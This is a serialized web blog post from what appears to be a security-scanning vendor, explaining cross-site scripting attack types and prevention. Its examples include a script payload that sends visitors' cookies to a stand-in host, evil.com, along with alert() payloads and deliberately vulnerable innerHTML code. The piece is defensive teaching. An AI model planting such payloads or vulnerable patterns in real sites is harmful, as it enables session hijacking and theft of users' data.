[{"data":1,"prerenderedAt":463},["ShallowReactive",2],{"blog-vulnerabilities/xss":3},{"id":4,"title":5,"body":6,"category":438,"date":439,"dateModified":440,"description":441,"draft":442,"extension":443,"faq":444,"featured":442,"headerVariant":448,"image":449,"keywords":449,"meta":450,"navigation":451,"ogDescription":452,"ogTitle":449,"path":453,"readTime":454,"schemaOrg":455,"schemaType":456,"seo":457,"sitemap":458,"stem":459,"tags":460,"twitterCard":461,"__hash__":462},"blog/blog/vulnerabilities/xss.md","Cross-Site Scripting (XSS) Explained in Plain English",{"type":7,"value":8,"toc":418},"minimark",[9,16,21,24,27,42,45,49,54,57,64,68,71,80,84,87,96,100,177,181,185,188,197,206,215,219,222,231,235,238,247,251,254,263,267,328,332,335,351,360,388,406],[10,11,12],"tldr",{},[13,14,15],"p",{},"XSS happens when attackers inject malicious JavaScript into your web pages. When other users view those pages, the script runs in their browser, potentially stealing cookies, session tokens, or personal data. The fix: always escape or sanitize user input before displaying it, use Content Security Policy headers, and avoid dangerouslySetInnerHTML in React.",[17,18,20],"h2",{"id":19},"what-is-cross-site-scripting","What Is Cross-Site Scripting?",[13,22,23],{},"Cross-Site Scripting (XSS) is a vulnerability that lets attackers inject malicious scripts into web pages viewed by other users. Instead of attacking your server directly, XSS attacks target your users through your website.",[13,25,26],{},"Here's a simple example. Imagine your app has a comment feature:",[28,29,31],"code-block",{"label":30},"Vulnerable comment display",[32,33,38],"pre",{"className":34,"code":36,"language":37},[35],"language-text","// User submits this as their \"comment\"\n\u003Cscript>document.location='https://evil.com/steal?cookie='+document.cookie\u003C/script>\n\n// If you display it without escaping:\n\u003Cdiv class=\"comment\">\n  \u003Cscript>document.location='https://evil.com/steal?cookie='+document.cookie\u003C/script>\n\u003C/div>\n\n// The script runs in every user's browser who views this comment!\n","text",[39,40,36],"code",{"__ignoreMap":41},"",[13,43,44],{},"When other users view that comment, the malicious script executes in their browser, sending their cookies to the attacker's server.",[17,46,48],{"id":47},"three-types-of-xss","Three Types of XSS",[50,51,53],"h3",{"id":52},"_1-stored-xss-most-dangerous","1. Stored XSS (Most Dangerous)",[13,55,56],{},"The malicious script is permanently stored on your server (in a database, comment field, user profile, etc.). Every user who views that content is attacked.",[13,58,59,63],{},[60,61,62],"strong",{},"Example:"," An attacker puts a script in their username. Everyone who views their profile or sees their posts gets attacked.",[50,65,67],{"id":66},"_2-reflected-xss","2. Reflected XSS",[13,69,70],{},"The script is included in a URL and \"reflected\" back in the page response. Attackers trick users into clicking malicious links.",[28,72,74],{"label":73},"Reflected XSS in a search page",[32,75,78],{"className":76,"code":77,"language":37},[35],"// URL: yoursite.com/search?q=\u003Cscript>alert('XSS')\u003C/script>\n\n// Vulnerable search page\n\u003Cp>You searched for: {searchQuery}\u003C/p>\n\n// If searchQuery isn't escaped, the script runs\n",[39,79,77],{"__ignoreMap":41},[50,81,83],{"id":82},"_3-dom-based-xss","3. DOM-Based XSS",[13,85,86],{},"The vulnerability exists entirely in client-side JavaScript. The page's own scripts read untrusted data and write it to the page unsafely.",[28,88,90],{"label":89},"DOM-based XSS example",[32,91,94],{"className":92,"code":93,"language":37},[35],"// Vulnerable JavaScript\nconst name = new URLSearchParams(window.location.search).get('name');\ndocument.getElementById('greeting').innerHTML = 'Hello, ' + name;\n\n// URL: yoursite.com/page?name=\u003Cimg src=x onerror=alert('XSS')>\n// The script runs because innerHTML doesn't escape content\n",[39,95,93],{"__ignoreMap":41},[17,97,99],{"id":98},"what-attackers-can-do-with-xss","What Attackers Can Do With XSS",[101,102,103,119],"table",{},[104,105,106],"thead",{},[107,108,109,113,116],"tr",{},[110,111,112],"th",{},"Attack",[110,114,115],{},"Description",[110,117,118],{},"Impact",[120,121,122,134,145,155,166],"tbody",{},[107,123,124,128,131],{},[125,126,127],"td",{},"Session Hijacking",[125,129,130],{},"Steal session cookies",[125,132,133],{},"Full account takeover",[107,135,136,139,142],{},[125,137,138],{},"Keylogging",[125,140,141],{},"Capture typed passwords",[125,143,144],{},"Credential theft",[107,146,147,150,153],{},[125,148,149],{},"Phishing",[125,151,152],{},"Inject fake login forms",[125,154,144],{},[107,156,157,160,163],{},[125,158,159],{},"Defacement",[125,161,162],{},"Modify page content",[125,164,165],{},"Reputation damage",[107,167,168,171,174],{},[125,169,170],{},"Malware Distribution",[125,172,173],{},"Redirect to malicious sites",[125,175,176],{},"User device compromise",[17,178,180],{"id":179},"how-to-prevent-xss","How to Prevent XSS",[50,182,184],{"id":183},"_1-use-framework-auto-escaping","1. Use Framework Auto-Escaping",[13,186,187],{},"Modern frameworks escape output by default. Use them correctly:",[28,189,191],{"label":190},"React (safe by default)",[32,192,195],{"className":193,"code":194,"language":37},[35],"// SAFE: React escapes this automatically\nfunction Comment({ text }) {\n  return \u003Cdiv>{text}\u003C/div>;\n}\n\n// DANGEROUS: Bypasses React's protection\nfunction Comment({ html }) {\n  return \u003Cdiv dangerouslySetInnerHTML={{ __html: html }} />;\n}\n",[39,196,194],{"__ignoreMap":41},[28,198,200],{"label":199},"Vue (safe by default)",[32,201,204],{"className":202,"code":203,"language":37},[35],"\u003C!-- SAFE: Vue escapes this -->\n\u003Cdiv>{{ userInput }}\u003C/div>\n\n\u003C!-- DANGEROUS: Renders raw HTML -->\n\u003Cdiv v-html=\"userInput\">\u003C/div>\n",[39,205,203],{"__ignoreMap":41},[207,208,209],"warning-box",{},[13,210,211,214],{},[60,212,213],{},"AI code often uses dangerouslySetInnerHTML:"," When you ask AI to render HTML content, it often generates code using dangerouslySetInnerHTML or v-html. Always sanitize the content first if you must use these.",[50,216,218],{"id":217},"_2-sanitize-when-you-must-render-html","2. Sanitize When You Must Render HTML",[13,220,221],{},"If you need to render user-provided HTML (like a rich text editor), use a sanitization library:",[28,223,225],{"label":224},"Using DOMPurify for sanitization",[32,226,229],{"className":227,"code":228,"language":37},[35],"import DOMPurify from 'dompurify';\n\n// Sanitize before rendering\nconst cleanHTML = DOMPurify.sanitize(userProvidedHTML);\n\n// Now it's safer to render\n\u003Cdiv dangerouslySetInnerHTML={{ __html: cleanHTML }} />\n",[39,230,228],{"__ignoreMap":41},[50,232,234],{"id":233},"_3-set-content-security-policy-headers","3. Set Content Security Policy Headers",[13,236,237],{},"CSP headers tell browsers which scripts are allowed to run:",[28,239,241],{"label":240},"Content-Security-Policy header",[32,242,245],{"className":243,"code":244,"language":37},[35],"# Strict CSP that blocks inline scripts\nContent-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'\n\n# In Next.js next.config.js\nconst securityHeaders = [\n  {\n    key: 'Content-Security-Policy',\n    value: \"default-src 'self'; script-src 'self'\"\n  }\n]\n",[39,246,244],{"__ignoreMap":41},[50,248,250],{"id":249},"_4-use-httponly-cookies","4. Use HttpOnly Cookies",[13,252,253],{},"HttpOnly cookies cannot be accessed by JavaScript, limiting the damage from XSS:",[28,255,257],{"label":256},"Setting secure cookies",[32,258,261],{"className":259,"code":260,"language":37},[35],"// Express.js session configuration\napp.use(session({\n  cookie: {\n    httpOnly: true,  // Can't be accessed via JavaScript\n    secure: true,    // Only sent over HTTPS\n    sameSite: 'strict' // Prevents CSRF\n  }\n}));\n",[39,262,260],{"__ignoreMap":41},[50,264,266],{"id":265},"_5-validate-and-encode-output","5. Validate and Encode Output",[101,268,269,282],{},[104,270,271],{},[107,272,273,276,279],{},[110,274,275],{},"Context",[110,277,278],{},"Encoding Needed",[110,280,281],{},"Example",[120,283,284,295,306,317],{},[107,285,286,289,292],{},[125,287,288],{},"HTML body",[125,290,291],{},"HTML entity encoding",[125,293,294],{},"\u003C becomes \u003C",[107,296,297,300,303],{},[125,298,299],{},"HTML attributes",[125,301,302],{},"Attribute encoding",[125,304,305],{},"Quote special characters",[107,307,308,311,314],{},[125,309,310],{},"JavaScript",[125,312,313],{},"JavaScript encoding",[125,315,316],{},"Escape quotes, backslashes",[107,318,319,322,325],{},[125,320,321],{},"URLs",[125,323,324],{},"URL encoding",[125,326,327],{},"encodeURIComponent()",[17,329,331],{"id":330},"xss-in-ai-generated-code","XSS in AI-Generated Code",[13,333,334],{},"AI coding assistants frequently generate XSS-vulnerable code because:",[336,337,338,342,345,348],"ul",{},[339,340,341],"li",{},"They prioritize functionality over security",[339,343,344],{},"Training data includes vulnerable examples",[339,346,347],{},"They use innerHTML/dangerouslySetInnerHTML for dynamic content",[339,349,350],{},"They don't automatically add sanitization",[352,353,354],"success-box",{},[13,355,356,359],{},[60,357,358],{},"Prompt tip:"," When asking AI to generate code that displays user input, explicitly ask for \"XSS-safe output escaping\" or \"sanitized HTML rendering.\"",[361,362,363,370,376,382],"faq-section",{},[364,365,367],"faq-item",{"question":366},"What does XSS stand for?",[13,368,369],{},"XSS stands for Cross-Site Scripting. The X is used instead of C to avoid confusion with CSS (Cascading Style Sheets). It refers to attacks where malicious scripts are injected into trusted websites.",[364,371,373],{"question":372},"Does React prevent XSS automatically?",[13,374,375],{},"React escapes values by default, which prevents most XSS attacks. However, using dangerouslySetInnerHTML bypasses this protection and can introduce XSS vulnerabilities if used with untrusted content.",[364,377,379],{"question":378},"What's the difference between stored and reflected XSS?",[13,380,381],{},"Stored XSS saves the malicious script in your database (like in a comment), affecting all users who view that content. Reflected XSS includes the script in a URL parameter and only affects users who click that specific link.",[364,383,385],{"question":384},"Can XSS steal passwords?",[13,386,387],{},"Yes. XSS can inject fake login forms, capture keystrokes, or steal session tokens that give attackers access to accounts. This is why XSS is considered a high-severity vulnerability.",[389,390,391,396,401],"related-articles",{},[392,393],"related-card",{"description":394,"href":395,"title":180},"Step-by-step protection guide","/blog/how-to/protect-against-xss",[392,397],{"description":398,"href":399,"title":400},"Related attack type","/blog/vulnerabilities/csrf","CSRF Explained",[392,402],{"description":403,"href":404,"title":405},"Secure your React app","/blog/checklists/react-security-checklist","React Security Checklist",[407,408,411,415],"cta-box",{"href":409,"label":410},"/","Start Free Scan",[17,412,414],{"id":413},"find-xss-vulnerabilities-in-your-app","Find XSS Vulnerabilities in Your App",[13,416,417],{},"Our scanner detects XSS issues in your code and deployed application.",{"title":41,"searchDepth":419,"depth":419,"links":420},2,[421,422,428,429,436,437],{"id":19,"depth":419,"text":20},{"id":47,"depth":419,"text":48,"children":423},[424,426,427],{"id":52,"depth":425,"text":53},3,{"id":66,"depth":425,"text":67},{"id":82,"depth":425,"text":83},{"id":98,"depth":419,"text":99},{"id":179,"depth":419,"text":180,"children":430},[431,432,433,434,435],{"id":183,"depth":425,"text":184},{"id":217,"depth":425,"text":218},{"id":233,"depth":425,"text":234},{"id":249,"depth":425,"text":250},{"id":265,"depth":425,"text":266},{"id":330,"depth":419,"text":331},{"id":413,"depth":419,"text":414},"vulnerabilities","2026-01-27","2026-02-19","XSS attacks let hackers inject malicious scripts into your web pages. Learn how XSS works, see real examples, and discover how to protect your vibe-coded app.",false,"md",[445,446,447],{"question":366,"answer":369},{"question":372,"answer":375},{"question":378,"answer":381},"red",null,{},true,"Learn how XSS attacks work and how to protect your app from script injection vulnerabilities.","/blog/vulnerabilities/xss","10 min read","[object Object]","TechArticle",{"title":5,"description":441},{"loc":453},"blog/vulnerabilities/xss",[],"summary_large_image","KTUulc6SeyMm64-901GbXh-az5MkVPYLbkm26spGjz8",1775843918547]